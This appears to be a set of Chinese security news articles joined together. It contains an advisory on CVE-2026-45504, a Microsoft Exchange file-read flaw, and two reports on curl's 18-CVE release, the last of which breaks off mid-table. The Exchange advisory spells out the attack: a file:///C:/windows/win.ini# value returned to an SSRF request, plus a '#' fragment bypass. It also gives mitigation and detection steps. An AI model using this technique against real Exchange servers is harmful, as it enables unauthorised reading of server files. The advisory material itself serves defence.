<table><tbody><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="261" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(221, 221, 221);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-weight: 400;font-style: normal;">【</span><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 128, 255);font-weight: 400;font-style: normal;">事件</span><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-weight: 400;font-style: normal;">】</span></span></section></td><td data-colwidth="287" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(221, 221, 221);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;text-indent: 0px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-weight: 400;font-style: normal;">【</span><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 128, 255);font-weight: 400;font-style: normal;">影响</span><span textstyle="" style="font-size: 14px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgba(0, 0, 0, 0.9);font-weight: 400;font-style: normal;">】</span></span></section></td></tr><tr style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><td data-colwidth="261" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 5px 10px;outline: 0px;word-break: break-all;hyphens: auto;border: 1px solid rgb(221, 221, 221);max-width: 100%;visibility: visible;overflow-wrap: break-word !important;box-sizing: border-box !important;"><section><span leaf="" data-pm-slice="1 1 ["para",{"tagName":"section","attributes":{"style":"margin-left: 6px; margin-right: 6px; line-height: 1.75em;"},"namespaceURI":"http://www.w3.org/1999/xhtml"},"para",{"tagName":"p","attributes":{"class":"ds-markdown-paragraph","style":" font-size: 15px; line-height: 1.75em; margin: 0 0 1em 0; margin-bottom: 16px; color: rgb(15, 17, 21); background-color: rgb(255, 255, 255); "},"namespaceURI":"http://www.w3.org/1999/xhtml"},"node",{"tagName":"span","attributes":{"class":"class"},"namespaceURI":"http://www.w3.org/1999/xhtml"}]" style="color: rgb(51, 51, 51);font-variant: normal;font-stretch: 100%;line-height: 22px;font-optical-sizing: auto;font-size-adjust: none;font-kerning: auto;font-language-override: normal;background-color: rgb(235, 238, 242);border-radius: 6px;align-items: center;padding: 0px 5px;display: inline-flex;font-size: 0.875em;"><span textstyle="" style="font-size: 14px;">Microsoft Exchange Server</span></span><span leaf="" data-pm-slice="1 1 ["para",{"tagName":"section","attributes":{"style":"margin-left: 6px; margin-right: 6px; line-height: 1.75em;"},"namespaceURI":"http://www.w3.org/1999/xhtml"},"para",{"tagName":"p","attributes":{"class":"ds-markdown-paragraph","style":" font-size: 15px; line-height: 1.75em; margin: 0 0 1em 0; margin-bottom: 16px; color: rgb(15, 17, 21); backgroundLine truncated
|
||||
|
||||
## 0x02 正文解读
|
||||
|
||||
|
||||
2.1-漏洞发现与概述
|
||||
|
||||
HawkTrace
|
||||
的安全研究
|
||||
Batuhan Er
|
||||
公开了此漏洞。任何
|
||||
Microsoft Exchange
|
||||
的低权限已验证用户都可以在未授权的情况下读取服务器上的任意文件。该漏洞被收录于
|
||||
ZeroVault
|
||||
平台，编号
|
||||
CVE-2026-45504
|
||||
## 概念验证
|
||||
|
||||
CVE-2026-45504 Microsoft Exchange 文件读取
|
||||
> CVE-2026-45504.py
|
||||
|
||||
> https://github.com/hawktrace/CVE-2026-45504/blob/main/CVE-2026-45504.py
|
||||
|
||||
|
||||
2.2-漏洞技术根源
|
||||
|
||||
漏洞存在于处理
|
||||
WOPI (Web Application Open Platform Interface)
|
||||
令牌的代码路径中。关键函数
|
||||
GetWacUrl
|
||||
通过 GetTokenRequestWebResponse
|
||||
|
||||
向攻击者控制的
|
||||
|
||||
URL
|
||||
|
||||
发送
|
||||
HTTP
|
||||
|
||||
请求，并将响应中
|
||||
XML
|
||||
|
||||
内 <WebApplicationUrl>
|
||||
|
||||
或
|
||||
<AppUrl>
|
||||
|
||||
的值作为基础地址，直接拼接到后续请求中。随后
|
||||
Exchange
|
||||
|
||||
会通过 WebClient.OpenRead()
|
||||
|
||||
发起对该地址的请求。由于缺乏对返回地址的
|
||||
scheme
|
||||
|
||||
校验，攻击者可以将
|
||||
WebApplicationUrl
|
||||
|
||||
设置为 file://
|
||||
|
||||
协议的本地路径，例如
|
||||
file:///C:/windows/win.ini
|
||||
，导致
|
||||
Exchange
|
||||
读取并返回该文件内容。
|
||||
|
||||
2.3-请求触发与攻击链
|
||||
- 低权限用户通过
|
||||
Exchange Web
|
||||
服务 (
|
||||
EWS
|
||||
) 创建一个
|
||||
ReferenceAttachment
|
||||
，并指定一个攻击者控制的
|
||||
ProviderEndpointUrl
|
||||
。
|
||||
|
||||
- 当受害者尝试预览附件时，
|
||||
Exchange
|
||||
后端会调用
|
||||
GetWacAttachmentInfo → CreateWacAttachmentTypeForReferenceAttachmentAsync
|
||||
等一系列方法，最终到达
|
||||
GetWacUrl
|
||||
，向攻击者的服务器发起请求（如
|
||||
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(...)）
|
||||
。
|
||||
|
||||
- 攻击者的服务器返回一个包含
|
||||
file:///C:/path/to/file#
|
||||
的 XML
|
||||
响应。
|
||||
|
||||
- Exchange
|
||||
随后会将
|
||||
OAuth
|
||||
参数拼接到此地址后方，形成
|
||||
file:///C:/path/to/file#?access_token=...&sc=...
|
||||
。由于
|
||||
URL
|
||||
解析器将
|
||||
#
|
||||
后的部分视为片段标识符而忽略，最终
|
||||
Exchange
|
||||
仅请求
|
||||
file:///C:/path/to/file
|
||||
，并将文件内容返回给攻击者。
|
||||
|
||||
2.4-绕过技术细节
|
||||
GetWacUrl
|
||||
包装函数会构建形如 {BaseUrl}&access_token={...}&sc=...
|
||||
的 URL。若 BaseUrl 为 file:///C:/windows/win.ini
|
||||
，拼接后的路径会被视为错误路径。攻击者在路径末尾附加 #
|
||||
字符，使拼接参数成为
|
||||
URI
|
||||
片段，从而被解析器丢弃，最终访问到正确的文件系统路径。这是关键的一个绕过步骤。
|
||||
```
|
||||
就像 SQL 注入和其他许多漏洞一样，利用#
|
||||
字符进行一些巧妙的操作。如果攻击者返回file:///c:/windows/win.ini
|
||||
的是 `<filename>` WebApplicationUrl，Exchange 会将请求构造成 `
|
||||
file:///c:/windows/win.ini?...&access_token=...
|
||||
<filename>`，这会破坏文件路径。但是，通过附加一个#
|
||||
字符，系统会将该字符之后的所有内容视为片段并忽略，从而得到 `
|
||||
file:///c:/windows/win.ini#?...&access_token=...<filename>`
|
||||
，这正是想要的文件。为了触发此漏洞，Exchange 会向我们的服务器发送以下请求，
|
||||
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p,requestedAction=0)?@p='http://hawktrace.local:80/'
|
||||
而我们则以 ` file:///C:/windows/win.ini#<filename>` 作为响应WebApplicationUrl
|
||||
，从而使整个过程能够按预期继续进行。
|
||||
```
|
||||
|
||||
2.5-代码流程跟踪
|
||||
|
||||
详细的调用堆栈如下，展示从TryTwice
|
||||
函数（直接使用传入的 URL 创建 HttpWebRequest
|
||||
）开始，经 GetTokenRequestWebResponse
|
||||
、GetWacUrl
|
||||
、CreateMeetingNotes.GetWacUrlInfo
|
||||
直至 GetWacAttachmentInfo.ExecuteAsync
|
||||
的完整攻击路径，证实了
|
||||
SSRF
|
||||
如何被触发并返回文件内容。
|
||||
## TryTwice
|
||||
```
|
||||
private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers)
|
||||
{
|
||||
WebResponse webResponse = null;
|
||||
Exception ex = null;
|
||||
for (int i = 0; i < 2; i++)
|
||||
{
|
||||
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
|
||||
httpWebRequest.Method = "GET";
|
||||
httpWebRequest.Credentials = credentials;
|
||||
httpWebRequest.UserAgent = OneDriveProUtilities.UserAgentString;
|
||||
httpWebRequest.ContentType = "application/json;odata=verbose";
|
||||
httpWebRequest.PreAuthenticate = true;
|
||||
httpWebRequest.Headers.Add(headers);
|
||||
try
|
||||
{
|
||||
OneDriveProUtilities.EndBudget(callContext);
|
||||
IAsyncResult asyncResult = httpWebRequest.BeginGetResponse(null, null);
|
||||
asyncResult.AsyncWaitHandle.WaitOne();
|
||||
webResponse = httpWebRequest.EndGetResponse(asyncResult);
|
||||
}
|
||||
catch (WebException ex2)
|
||||
{
|
||||
ex = ex2;
|
||||
webResponse = ex2.Response;
|
||||
}
|
||||
finally
|
||||
{
|
||||
OneDriveProUtilities.StartBudget(callContext, null, "GetWacUrl");
|
||||
}
|
||||
HttpWebResponse httpWebResponse = webResponse as HttpWebResponse;
|
||||
if (ex == null && httpWebResponse != null && httpWebResponse.StatusCode < HttpStatusCode.BadRequest)
|
||||
{
|
||||
return httpWebResponse;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
OneDriveProUtilities.GetRequestAndResponseDetails(stringBuilder, ex, httpWebRequest, httpWebResponse, null, null);
|
||||
if (callContext != null && callContext.ProtocolLog != null)
|
||||
{
|
||||
callContext.ProtocolLog.Set(GetWacAttachmentInfoMetadata.RequestDetails, stringBuilder.ToString());
|
||||
}
|
||||
else
|
||||
{
|
||||
OwaServerTraceLogger.AppendToLog(OwaFeature.OneDrivePro, "OneDrivePro.SendRestRequest", null, "HttpFailure", stringBuilder.ToString());
|
||||
}
|
||||
}
|
||||
if (ex != null)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
```
|
||||
## 获取令牌请求Web响应
|
||||
```
|
||||
private static WebResponse GetTokenRequestWebResponse(ICallContext callContext, OwaIdentity identity, string getWacTokenUrlFormat, string endPointUrl, string documentUrl, string actionOrAppId, string callingMethod = "GetWacToken", string eventId = "SP.GWT")
|
||||
{
|
||||
if (documentUrl.EndsWith("?web=1", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
documentUrl = documentUrl.Substring(0, documentUrl.Length - 6);
|
||||
}
|
||||
string text = string.Format(getWacTokenUrlFormat, endPointUrl, HttpUtility.UrlEncode(documentUrl.Replace("'", "''")), actionOrAppId);
|
||||
ICredentials oauthCredential = OauthUtils.GetOauthCredential(identity.GetOWAMiniRecipient());
|
||||
WebHeaderCollection oauthRequestHeaders = OneDriveProUtilities.GetOAuthRequestHeaders();
|
||||
oauthRequestHeaders[HttpRequestHeader.AcceptLanguage] = Thread.CurrentThread.CurrentCulture.Name;
|
||||
WebResponse webResponse;
|
||||
...
|
||||
ExTraceGlobals.AttachmentHandlingTracer.TraceWarning<string, string>(0L, "OneDriveProUtilities.{0} Exception while trying to get wac token using durable url. : {1}", callingMethod, ex.StackTrace);
|
||||
documentUrl = documentUrl.Substring(0, documentUrl.LastIndexOf("?", StringComparison.InvariantCulture));
|
||||
text = string.Format(getWacTokenUrlFormat, endPointUrl, HttpUtility.UrlEncode(documentUrl.Replace("'", "''")), actionOrAppId); ExTraceGlobals.AttachmentHandlingTracer.TraceWarning<string, string>(0L, "OneDriveProUtilities.{0} Fallback to canonical url format: {1}", callingMethod, text);
|
||||
webResponse = OneDriveProUtilities.TryTwice(callContext, text, oauthCredential, oauthRequestHeaders);
|
||||
}
|
||||
return webResponse;
|
||||
}
|
||||
```
|
||||
|
||||
GetTokenRequestWebResponse
|
||||
将给定的URL
|
||||
转换为
|
||||
SharePoint REST API
|
||||
请求。
|
||||
## 获取WacUrl
|
||||
```
|
||||
internal static WacUrlInfo GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, bool isSPGetWacTokenEnabled)
|
||||
{
|
||||
string text = (isEdit ? "2" : "4");
|
||||
if (isSPGetWacTokenEnabled)
|
||||
{
|
||||
text = (isEdit ? "1" : "0");
|
||||
}
|
||||
string text2 = (isSPGetWacTokenEnabled ? "{0}/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p, requestedAction={2})?@p='{1}'" : "{0}/_api/Microsoft.SharePoint.Yammer.WACAPI.GetWacToken(fileUrl=@p, wopiAction={2})?@p='{1}'");
|
||||
WebResponse tokenRequestWebResponse = OneDriveProUtilities.GetTokenRequestWebResponse(callContext, identity, text2, endPointUrl, documentUrl, text, "GetWacToken", "SP.GWT");
|
||||
XmlDocument xmlDocument = new XmlDocument();
|
||||
OneDriveProUtilities.EndBudget(callContext);
|
||||
XmlReaderSettings xmlReaderSettings = new XmlReaderSettings();
|
||||
xmlReaderSettings.XmlResolver = null;
|
||||
XmlReader xmlReader = XmlReader.Create(tokenRequestWebResponse.GetResponseStream(), xmlReaderSettings);
|
||||
xmlDocument.Load(xmlReader);
|
||||
OneDriveProUtilities.StartBudget(callContext, null, "GetWacUrl");
|
||||
string text3 = "http://schemas.microsoft.com/ado/2007/08/dataservices";
|
||||
string text4 = null;
|
||||
string text5 = null;
|
||||
string text6 = null;
|
||||
foreach (object obj in xmlDocument.GetElementsByTagName("*", text3))
|
||||
{
|
||||
XmlNode xmlNode = (XmlNode)obj;
|
||||
if (xmlNode is XmlElement)
|
||||
{
|
||||
if (text4 != null && text5 != null && text6 != null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (!isSPGetWacTokenEnabled && string.CompareOrdinal(xmlNode.LocalName, "AppUrl") == 0)
|
||||
{
|
||||
text4 = xmlNode.InnerText;
|
||||
}
|
||||
else if (isSPGetWacTokenEnabled && string.CompareOrdinal(xmlNode.LocalName, "WebApplicationUrl") == 0)
|
||||
{
|
||||
text4 = xmlNode.InnerText;
|
||||
}
|
||||
else if (string.CompareOrdinal(xmlNode.LocalName, "AccessToken") == 0)
|
||||
{
|
||||
text5 = xmlNode.InnerText;
|
||||
}
|
||||
else if (string.CompareOrdinal(xmlNode.LocalName, "AccessTokenTtl") == 0)
|
||||
{
|
||||
text6 = xmlNode.InnerText;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (text4 == null || text5 == null || text6 == null)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
OneDriveProUtilities.GetRequestAndResponseDetails(stringBuilder, null, null, tokenRequestWebResponse, null, null);
|
||||
stringBuilder.AppendFormat("baseUrl: {0}, accessToken: {1}, accessTokenTtl: {2}\n", text4, text5, text6);
|
||||
if (callContext != null && callContext.ProtocolLog != null)
|
||||
{
|
||||
callContext.ProtocolLog.Set(GetWacAttachmentInfoMetadata.RequestDetails, stringBuilder.ToString());
|
||||
}
|
||||
else
|
||||
{
|
||||
OwaServerTraceLogger.AppendToLog(OwaFeature.OneDrivePro, "OneDrivePro.SendRestRequest", null, "HttpFailure", stringBuilder.ToString());
|
||||
}
|
||||
throw new OwaException("SharePoint's GetWacToken response is not usable.");
|
||||
}
|
||||
text4 = OneDriveProUtilities.ReplaceLanguageParametersOnWacUrl(text4, Thread.CurrentThread.CurrentCulture.Name);
|
||||
return new WacUrlInfo
|
||||
{
|
||||
BaseUrl = text4,
|
||||
Token = text5,
|
||||
TokenTtl = text6
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
GetWacUrl
|
||||
这个函数本身会向攻击者指定的
|
||||
URL
|
||||
发起请求，这确实构成
|
||||
SSRF
|
||||
。但仅仅“能发请求”还不够——真正的漏洞在于，函数会从返回的响应中提取
|
||||
WebApplicationUrl
|
||||
字段，并把这个字段的值当作“可信地址”，随后再用它发起第二次请求。攻击者正是通过控制这个字段的值（填入
|
||||
file://
|
||||
路径），让
|
||||
Exchange
|
||||
去读取本地文件，从而实现了“文件读取”。
|
||||
## GetWacUrl（包装器）
|
||||
```
|
||||
internal static string GetWacUrl(ICallContext callContext, OwaIdentity identity, string endPointUrl, string documentUrl, bool isEdit, FeaturesManager featuresManager)
|
||||
{
|
||||
bool flag = featuresManager != null && featuresManager.ServerSettings.SPGetWacToken.Enabled;
|
||||
WacUrlInfo wacUrl = OneDriveProUtilities.GetWacUrl(callContext, identity, endPointUrl, documentUrl, isEdit, flag);
|
||||
string text = (isEdit ? "OwaEdit" : "OwaView");
|
||||
return string.Format("{0}&access_token={1}&access_token_ttl={2}&sc={3}", new object[] { wacUrl.BaseUrl, wacUrl.Token, wacUrl.TokenTtl, text });
|
||||
}
|
||||
```
|
||||
|
||||
GetWacUrl wrapper
|
||||
包装函数决定最终
|
||||
URL
|
||||
的格式，并将其构建为http://attacker.com/...&access_token=...&sc=...
|
||||
.
|
||||
|
||||
## 0x03 动作指引
|
||||
|
||||
|
||||
## 3.1-缓解与修复
|
||||
- 根本修复：需要对
|
||||
WOPI
|
||||
端点返回的
|
||||
WebApplicationUrl
|
||||
实施严格的
|
||||
scheme
|
||||
校验，禁止
|
||||
file://
|
||||
及其他非
|
||||
HTTP(S)
|
||||
协议，之后再将值传递给
|
||||
WebClient.OpenRead()
|
||||
。
|
||||
|
||||
- 临时措施：监控并限制
|
||||
EWS
|
||||
接口创建
|
||||
ReferenceAttachment
|
||||
的行为，审查
|
||||
ProviderEndpointUrl
|
||||
是否指向外部或非白名单服务器。
|
||||
|
||||
- 补丁状态：截至原文发布时，文章未提及微软是否已发布安全更新。建议持续关注微软安全公告，并尽快应用相关补丁。
|
||||
|
||||
3.2-检测建议
|
||||
- 检查
|
||||
Exchange
|
||||
服务器
|
||||
OwaServerTraceLogger
|
||||
或协议日志中是否出现对
|
||||
file://
|
||||
协议地址的请求痕迹。
|
||||
|
||||
- 监测：Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProUtilities.TryTwice 方法调用时传入的 URL 参数。
|
||||
|
||||
- 利用
|
||||
IIS
|
||||
日志或
|
||||
Exchange
|
||||
应用程序日志筛查包含
|
||||
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl 且响应中 WebApplicationUrl
|
||||
含有
|
||||
file://
|
||||
的请求。
|
||||
|
||||
|
||||
|
||||
## 0x04 参考链接
|
||||
- HawkTrace
|
||||
团队博客：https://hawktrace.com/blog/CVE-2026-45504/
|
||||
|
||||
- ZeroVault
|
||||
平台：
|
||||
https://zerovault.io
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
# curl 修了 18 个漏洞：一个“低危”mTLS 问题，为什么也值得排查
|
||||
原创 tcode
|
||||
tcode 字节脉搏实验室 2026-06-26 03:20
|
||||
|
||||
|
||||
## 事件概述
|
||||
|
||||
curl
|
||||
项目在
|
||||
2026
|
||||
年
|
||||
6
|
||||
月
|
||||
24
|
||||
日发布
|
||||
8.21.0
|
||||
。项目维护者
|
||||
Daniel Stenberg
|
||||
在发布说明中提到，本次同时公开
|
||||
18
|
||||
个新的
|
||||
curl
|
||||
安全漏洞，是该项目一次发布中安全修复数量较多的一次。多家安全媒体在随后一天进行了跟进报道，其中较受关注的是
|
||||
CVE-2026-8932
|
||||
：一个存在时间很长、影响
|
||||
libcurl
|
||||
在特定
|
||||
mTLS
|
||||
场景下连接复用判断的问题。
|
||||
|
||||
这类新闻很容易被写成
|
||||
“
|
||||
二十多年老漏洞震惊全网
|
||||
”
|
||||
。但对企业真正有用的角度并不是惊悚标题，而是三个问题：我们哪里用了
|
||||
curl/libcurl
|
||||
？哪些场景启用了客户端证书？哪些程序静态链接了旧版库，无法通过系统包升级自动修复？
|
||||
|
||||
curl
|
||||
的特殊性在于它既是命令行工具，也是大量软件背后的网络传输库。很多人只会检查终端里的
|
||||
curl
|
||||
版本，却忽略应用程序、容器镜像、
|
||||
SDK
|
||||
、代理组件、嵌入式设备和内部工具里可能带着另一份
|
||||
libcurl
|
||||
。
|
||||
## 核心事实
|
||||
|
||||
事实一：
|
||||
curl 8.21.0
|
||||
于
|
||||
2026
|
||||
年
|
||||
6
|
||||
月
|
||||
24
|
||||
日发布。项目维护者公开说明，本次配套披露
|
||||
18
|
||||
个安全漏洞。
|
||||
|
||||
事实二：
|
||||
CVE-2026-8932
|
||||
官方建议的处理方式包括升级
|
||||
curl/libcurl
|
||||
到
|
||||
8.21.0
|
||||
、应用补丁并重建，或者在变更客户端证书细节时避免复用相关句柄。本文不展开底层触发条件或复现方式，避免把防守文章写成攻击说明书。
|
||||
|
||||
事实三：该问题被评为低危，并不等于可以忽略。低危通常描述的是单个漏洞在通用环境下的严重程度；但如果企业将
|
||||
libcurl
|
||||
用在
|
||||
mTLS
|
||||
、服务间认证、网关、代理或自动化任务中，它就可能影响认证边界的可信判断。
|
||||
## 影响分析
|
||||
|
||||
对开发团队来说，
|
||||
curl
|
||||
事件最典型的风险不是
|
||||
“
|
||||
今天所有服务器马上被攻破
|
||||
”
|
||||
，而是
|
||||
“
|
||||
你不知道自己哪里依赖了它
|
||||
”
|
||||
。如果某个服务使用系统动态库，升级操作系统包可能就能覆盖；如果应用把
|
||||
libcurl
|
||||
静态编译进二进制，系统升级并不会改变它。
|
||||
|
||||
对平台团队来说，容器镜像是另一个盲点。基础镜像、构建镜像、运行时镜像可能来自不同维护链路。镜像扫描报告里如果只看高危漏洞，低危但与认证边界相关的问题可能被埋在列表底部。
|
||||
|
||||
对安全团队来说，这次事件适合推动一次
|
||||
“
|
||||
基础组件可见性
|
||||
”
|
||||
复盘：哪些开源库是企业广泛复用的底座？补丁从上游发布到内部生产落地需要几天？静态链接、离线环境和嵌入式系统由谁负责？
|
||||
|
||||
|
||||
|
||||
## 普通用户和企业怎么做
|
||||
|
||||
普通用户可以优先通过系统更新、包管理器更新和常用软件更新获得修复。不要随意下载来源不明的所谓
|
||||
“
|
||||
新版
|
||||
curl”
|
||||
，也不要为了追版本覆盖系统自带组件，避免引入兼容性问题。
|
||||
|
||||
企业用户建议先做资产盘点。不要只运行一次版本命令，而要结合软件清单、镜像扫描、
|
||||
SBOM
|
||||
、包管理数据库和应用构建记录，确认
|
||||
curl
|
||||
命令行工具与
|
||||
libcurl
|
||||
库分别在哪里出现。
|
||||
|
||||
其次，区分动态链接和静态链接。动态链接依赖通常可通过系统包或发行版补丁修复；静态链接的内部程序、供应商程序和老旧设备，需要重新构建、等待厂商更新或制定隔离补偿措施。
|
||||
|
||||
第三，优先检查
|
||||
mTLS
|
||||
场景。包括服务到服务调用、
|
||||
API
|
||||
网关、内部代理、设备管理平台、自动化运维脚本和第三方集成。如果这些场景使用客户端证书作为强认证边界，应优先确认是否受影响。
|
||||
|
||||
第四，把
|
||||
“
|
||||
低危不等于低优先级
|
||||
”
|
||||
写进补丁策略。严重度只是排序依据之一，资产关键性、暴露面、认证边界、业务依赖和可利用条件同样重要。
|
||||
## 事实、推测与观点
|
||||
|
||||
可以确认的事实是：
|
||||
curl 8.21.0
|
||||
已发布；项目方同步公开
|
||||
18
|
||||
个安全漏洞；
|
||||
CVE-2026-8932
|
||||
与
|
||||
libcurl
|
||||
在特定客户端证书匹配和连接复用场景有关；官方建议升级或应用补丁。
|
||||
|
||||
合理推测是：很多企业的真实修复难点不在服务器上的
|
||||
curl
|
||||
命令，而在第三方软件、容器镜像、静态链接二进制和长期运行的内部工具。它们不一定会出现在常规补丁平台里。
|
||||
|
||||
我的观点是：这次
|
||||
curl
|
||||
更新最适合作为一次供应链基本功检查。企业没必要恐慌，但应该借这个窗口补齐
|
||||
SBOM
|
||||
、镜像治理、静态链接登记和基础组件升级
|
||||
SLA
|
||||
。
|
||||
## 结语
|
||||
|
||||
curl
|
||||
不是一个冷门组件，它是互联网软件世界里非常基础的一块砖。基础组件的问题不总是以
|
||||
“
|
||||
高危
|
||||
”
|
||||
形式出现，却常常考验企业能不能看见自己的软件供应链。今天把
|
||||
curl/libcurl
|
||||
查清楚，明天面对
|
||||
OpenSSL
|
||||
、
|
||||
zlib
|
||||
、
|
||||
libxml2
|
||||
或其他底层库时，也会更从容。
|
||||
## 关键来源
|
||||
|
||||
·
|
||||
Daniel Stenberg
|
||||
：《
|
||||
curl 8.21.0
|
||||
》，
|
||||
2026-06-24
|
||||
，
|
||||
https://daniel.haxx.se/blog/2026/06/24/curl-8-21-0/
|
||||
|
||||
·
|
||||
curl
|
||||
官方公告：
|
||||
CVE-2026-8932
|
||||
，
|
||||
2026-06-24
|
||||
，
|
||||
https://curl.se/docs/CVE-2026-8932.html
|
||||
|
||||
·
|
||||
curl
|
||||
官方变更记录：
|
||||
Fixed in 8.21.0 - June 24 2026
|
||||
，
|
||||
https://curl.se/changes.html
|
||||
|
||||
·
|
||||
oss-sec
|
||||
邮件列表：
|
||||
curl 8.21.0 security advisories
|
||||
，
|
||||
2026-06-24 08:08:57 +0200
|
||||
，
|
||||
https://seclists.org/oss-sec/2026/q2/1012
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
# curl 发布史上规模最大的 CVE 公告，修复一个存续长达 25 年的漏洞
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-06-26 00:50
|
||||
|
||||
|
||||
|
||||
curl 维护者在一次更新中修复了 18 个安全漏洞，其中一个漏洞的历史长达 25 年。这并不是笔误，该漏洞自 21 世纪初就一直潜伏在代码中。curl 是一款应用极广的开源网络数据传输工具与开发库，运行在超过 300 亿台设备上。
|
||||
|
||||
2026 年 5 月 11 日，curl 项目首席开发者表示，Anthropic 旗下 Mythos 模型只挖掘出 1 个 CVE 漏洞。此后，AISLE 团队与其他机构对该工具展开深度分析，又陆续挖出另外 18 处安全缺陷。
|
||||
|
||||
AISLE 发布的报告中写道：“在这新增的 18 条 CVE 漏洞里，AISLE 团队独占 6 条，同时还针对 curl 与 libcurl 挖出多项有效缺陷。排名第二的 AI 安全团队仅挖到 3 条 CVE，而使用 Anthropic 与 OpenAI 模型的研究人员各自只发现了 1 条漏洞。这一成果进一步证明，AISLE 这套不绑定特定大模型的检测系统，能够以极低的成本，在各类部署环境下超越顶尖前沿模型。”
|
||||
|
||||
本次事件最值得关注的并非漏洞数量，而是折射出 curl 项目的演变现状。显而易见的低级漏洞早已被清理干净，剩余隐患全都藏在状态处理逻辑、老旧协议分支、可复用连接这类冷门场景中，运行行为往往难以预判。
|
||||
|
||||
AISLE 一共发现 6 条全新的 curl CVE 漏洞，涵盖 libcurl 中的内存缺陷与逻辑漏洞。其中年代最久远的漏洞编号为 CVE-2026-8932，最早出现在 2001 年 3 月发布的 curl 7.7 版本。
|
||||
|
||||
漏洞公告原文描述：“即便客户端证书或私钥配置已经变更，libcurl 仍会继续复用旧连接，可造成身份认证绕过。”
|
||||
|
||||
这条漏洞的关键影响在于连接复用机制。在实际场景中，一旦复用已有连接，新更换的客户端证书与密钥配置就会失效。命令行版本的 curl 不受此漏洞影响，但集成了 libcurl 库的各类应用程序会遭到波及。
|
||||
|
||||
本次检测的亮点在于 AI 辅助分析的成效：研究人员不再只找到单个漏洞，而是批量挖出凭证处理、内存安全、主机校验等多个维度的缺陷，包含凭证混淆、二次释放、释放后重用以及主机校验不严等多种问题。
|
||||
|
||||
如今，curl 已经不存在随手就能找出的简单漏洞。遗留问题都深埋业务逻辑之中，而非基础语法层面。这也是安全研究者反复对其开展审计的原因，同时意味着在代码审计流程里，AI 分析工具的重要性已经超过了传统扫描软件。
|
||||
|
||||
尽管数十亿设备都在运行 curl，本次爆出的所有漏洞，目前还没有出现已被公开利用的真实攻击案例。这一现状既让人安心，也警示我们：最难发现的漏洞，往往会长期潜伏，直到某天才被攻击者盯上。
|
||||
|
||||
以下为 AISLE 团队挖掘出的全部漏洞清单：
|
||||
<table><thead><tr><th><section><span leaf="">漏洞编号</span></section></th><th><section><span leaf="">漏洞领域</span></section></th><th><section><span leaf="">漏洞详情</span></section></th></tr></thead><tbody><tr><td><section><span leaf="">CVE-2026-8926</span></section></td><td><section><span leaf="">.netrc 凭证处理</span></section></td><td><section><span leaf="">当 URL 中指定用户名但未填写密码时，curl 可能为同一主机匹配到其他用户的密码，造成凭证混淆。</span></section></td></tr><tr><td><section><span leaf="">CVE-2026-8925</span></section></td><td><section><span leaf="">SASL 身份认证</span></section></td><td><section><span leaf="">在启用 SASL 的协议交互过程中，curl 会对同一个 GSASL 上下文执行两次清理与释放操作，引发内存二次释放漏洞。</span></section></td></tr><tr><td><section><span leaf="">CVE-2026-8932</span></section></td><td><section><span leaf="">mTLS 连接复用</span></section></td><td><section><span leaf="">客户端证书或私钥配置变更后，libcurl 